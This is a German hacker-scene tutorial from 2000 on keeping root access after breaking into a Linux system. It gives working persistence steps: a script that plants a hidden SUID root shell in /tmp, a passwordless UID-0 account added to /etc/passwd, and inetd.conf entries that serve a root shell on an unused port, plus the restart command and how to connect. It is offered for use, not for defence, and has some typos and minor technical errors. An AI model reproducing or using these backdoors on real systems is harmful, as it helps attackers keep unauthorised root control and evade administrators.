BACKDOORS IN UNIXSYSTEMEN by ThEHoaX^HDC


Inhaltsverzeichnis:
-------------------


1.Backdoors
        Einleitung
        [1] Die SUID Shell Basckdoor
        [2] Die /etc/passwd Backdoor
        [3] Die INET BAckdoor
        Fazit
        Greets, usw...



Einleitung:
-----------

Wenn  man  entlich  auf einer Linux-Box r00t hat, will man ja auch das dieses
nicht  so  schnell  vergeht!!  Dazu  benutzten  wir  BACKDOORS. Es gibt viele
moeglichkeiten   eine  Backdoor  ins  System  einzubinden...dazu  kommen  wir
spaeter. Wir beschaeftigen uns in diesem Turial mit simpelen Backdoors, zudem
habe  ich  und  andere  ein  paar  Shellscrips  geschrieben  um  die Sache zu
vereinfachen.

1.Backdoors:
------------

[1] Die SUID Shell Backdoor

Diese  ist  eine  sehr einfache aber auch efektive Methode seine Rootshell zu
behalten.  Wir  kopiern  die Rootshell mit den SUID Flags nach /tmp und geben
ihr dann volle Rechte fuer alle user.

----
#!/bin/sh
cp /bin/sh  /tmp/.rootshell  
chmod a+s /tmp/.rootshell
echo done...
---

Natuerlich  ´rootshell´ umbennen. Um das Script laufen lassen zu koennen muss
man  Rootrechte  haben.  Wenn man sich jetzt neu Eingelogt hat, geht man nach
/tmp fuert ./rootshell aus une bekonnt dadurch die gewuentschte Rootshell.


[2] Die /etc/passwd Backdoor

Dei  dieser  Backdoor  fuegen wir einfach einen neuen USER in die /etc/passwd
mit  der  Root ID (0). Das kann man inherhalb von 1 min machen, dazu brauchen
wir haben einbischen Ahnung von der Passwordfile....

root:o9Kus89Tgh:0:0:Systemadmin:/root:/bin/bash

Benutzername: root
Passwort: o9Kus89Tgh
User ID: 0
Group ID: 0
Richtiger Name/Info: Systemadmin
Homeverzeichnis: /root
Shell: /bin/bash

Dann  geben  wir  in der Shell ´vi /etc/passwd´ ein und machen folgendes: Wir
gehen  mit  dem  Courser in die Mitte der File, druecken ´i´ fuer INSERT dann
´ENTER´ um eine neue Zeile zu bekommen und tippen dies ein:

Operator::0:0:Operator:/home/op:/bin/bash

jetzt  muessen wir ´vi´ mit ´:wq´ beenden und fertig die Backdoor. P.S. Diese
Methode ist nicht sehr Sicher und wir oft erkannt!


[3] Die INET Backdoor

Die  INET  Backdoor  wird  in  den  Datein  /etc/services und /etc/inetd.conf
eingetragen.  Die  Backdoor ist als normaler Port getarnt. Entweder man nimmt
einen  Port der fast nie benutzt wird oder wir erstellen einfach einen neuen.
Hier ist erstmal eine Teil von /etc/servies von SuSe Linux:

---
tcpmux          1/tcp           # TCP port service multiplexer
echo            7/tcp
echo            7/udp
discard         9/tcp           sink null
discard         9/tcp           sink null
systat          11/tcp          users
daytime         13/tcp
daytime         13/tcp
netstat         15/tcp
qotd            17/tcp          quote
msp             18/tcp          #message send protocol
msp             18/udp          #message send protocol
chargen         19/tcp          ttytst source
chargen         19/udp          ttytst source
ftp-data        20/tcp          # File Transfer [Default Data]
ftp             21/tcp
fsp             21/udp          fspd
ssh             22/tcp
ssh             22/udp
telnet          23/tcp
# 24 - private
smtp            25/tcp          mail
# 26 - unassigned
...
...
---

In der ersten Spalte ist der Name des Networkservice, in der zweiten der Port
und  das  Protokol  Typ  (TCP->  Transmission  Control  Protocol  & UDP->Unix
Datagram Protocol) und in der driten stehen Komentare und Hinweise.

Wir   kennen   ja   schon   die   /etc/services  jetzt  gucken  wir  uns  die
/etc/inetd.conf an:

---
ftp     stream  tcp     nowait  root    /usr/sbin/tcpd  wu.ftpd -a
telnet  stream  tcp     nowait  root    /usr/sbin/tcpd  in.telnetd
pop3    stream  tcp     nowait  root    /usr/sbin/tcpd  /usr/sbin/popper -s
tftp    dgram   udp     wait    nobody  /usr/sbin/tcpd  in.tfpd /tftpboot
rplay   dgram   udp     wait    root    /usr/sbin/tcpd  rplay -b 8192 -c 60 -s
8192
...
...
---

In  der ersten Spalte ist der Name von dem Daemon (/etc/services). Vom Daemon
wird  auch  der  Port  bestimmt. Die zweite Spalte ist fuer den Typ of socket
(stream oder datagram). Als naechtes haben wir den Protokolnamen, dann in der
naechsten  Spalte ob der Service warten soll oder nicht(tcp steht fuer nowait
und  udp steht fuer wait, normalerweise ). Die vierte Spalte steht wer den
Daemon  ausfuehren  darf  (fast immer r00t) und in den letzten beiden ist das
Verzeichnis und das Programm + Syntax aufgefuehrt. Nun kommen wir entlich zur
Backdoor...Wir  suchen  uns  zuerst  in  der /etc/services einen Port aus der
entweder  garnicht  oder  nur  selten  benutzt  wird. Also aufjedenfall nicht
ftp(21),  telnet(23), pop3(110)...Danach gehen wir in die /etc/inetd.conf und
veraendern(fuegen hinzu) die gewuentsche Zeile.

---
1.Name des Service
2.Den Stream
3.Das Protokol (TCP)
4.´nowait´
5.´root´
6.Verzeichnis der Backdoor
7.Die Shell
---

Am Ende kann das ca. so aussehen:

---
discard stream  tcp     nowait  root    /bin/sh         sh -i
---

Discard  ist  ein Service der auf Port 9 laeuft. Wir muessen nun nur noch den
Internet  Daemon neustarten, dies geschiet mit ´KILLALL -HUP inetd`. Um jetzt
an   seine   Rootshell   zu  kommen  muss  man  einfach  den  HOST  telneten:
´hoax@Dreamworld:~>  telnet  9´ Die zweite Methode und auch die bessere
ist  das  man  einfach  ein  Service  hinzufuegt.  Wir muessen uns einen Port
aussuchen  der nicht Benutzt wird z.B. 10. Diesen tragen wir in /etc/services
ein (TCP). Das solte ca. so aussehen:


---
discard         9/UDP
backdoor        10/TCP
systat          11/TCP
---

Jetzt  muessen  wir  nur noch die /etc/inetd.conf aendern, wie bei der ersten
Methode. Am Ende sieht die neue Backdoor so aus:

---
backdoor        stream  tcp     nowait  root    /bin/sh         sh -i
---

Nach dem neustart solte alles funktioniern :)


Fazit
-----

Ich  hoffe  ich  hab  euch  eine  kleine  Einblick  in die Welt der Backdoors
geschaffen.  Die  Backdoors  die  ich  euch vorgestellt hab sind sehr einfach
Aufgebaut  am  besten  versucht  man  mehrere ins System zu bringen. Man wird
sicher  1000  moeglichkeiten  finden Backdoors ins System zu bringen. Es gibt
auch   gute   Perlbackdoors  die  mit  dem  selben  Prinzip  arbeit  wie  die
Inet-Backdoor. Es gibt noch einige gute Texte im Netz aber auf einem will ich
besonders Hinweisen ´Van Hausers Placing Backdoors Through Firewalls´. Dieser
Text  gibt  einen  guten  Einblick  wie  man Backdoor in Firewall geschuetzte
Systeme bringt. In diesem Sinne... viel Glueck beim Testen ;)


Contact
-------

E-mail: thehoax@h-d-c.org
IRC:    IRCnet -- #hdc-public
WWW:    www.h-d-c.org


Greets to
---------

The  hole  HDC-CREW, Buhhmann, Data2ooo, Janinabomb, All my local friends and
all who knew me :)


                                                 --[04.09.2ooo ThEHoaX^HDC]--